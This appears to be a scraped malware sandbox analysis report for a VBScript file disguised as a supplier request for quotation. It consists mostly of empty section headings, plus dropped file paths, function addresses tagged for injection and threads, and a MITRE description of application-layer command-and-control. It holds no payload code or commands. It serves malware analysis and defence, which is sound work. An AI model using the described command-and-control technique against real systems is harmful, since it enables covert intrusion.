Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4vdowbve.3mq.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5ua0yfmx.hvv.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hpj0nzva.ftc.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nwx412n5.41z.psm1

C:\Users\user\AppData\Local\Temp\~DFDA8E7D9BEC83FF01.TMP

Static File Info

General

File Icon

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

Windows Analysis Report
RFQ-5120240930 VENETA PESCA SRL.vbs

Function 00007FFD342C3FBF Relevance: 4.2, Strings: 1, Instructions: 2942
COMMON

Function 00007FFD342C69F5 Relevance: 1.8, Strings: 1, Instructions: 527
COMMON

Function 00007FFD341FB124 Relevance: 1.6, APIs: 1, Instructions: 138
injectionCOMMON

Function 00007FFD341FAE15 Relevance: 1.6, APIs: 1, Instructions: 129
threadCOMMON

Function 00007FFD341FAC6B Relevance: 1.6, APIs: 1, Instructions: 114
processCOMMON

Function 00007FFD341FB245 Relevance: 1.6, APIs: 1, Instructions: 99
threadCOMMON

Function 00007FFD342C6EAA Relevance: 1.4, Strings: 1, Instructions: 139
COMMON

Function 00007FFD342C031B Relevance: .2, Instructions: 246
COMMON

Function 00007FFD342C812E Relevance: .2, Instructions: 226
COMMON

Function 00007FFD342C077C Relevance: .2, Instructions: 159
COMMON

Function 00007FFD342C817A Relevance: .1, Instructions: 144
COMMON

Function 0041E9D0 Relevance: 25.6, APIs: 17, Instructions: 78
COMMON

Function 004218D0 Relevance: 161.5, APIs: 91, Strings: 1, Instructions: 456
COMMON

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre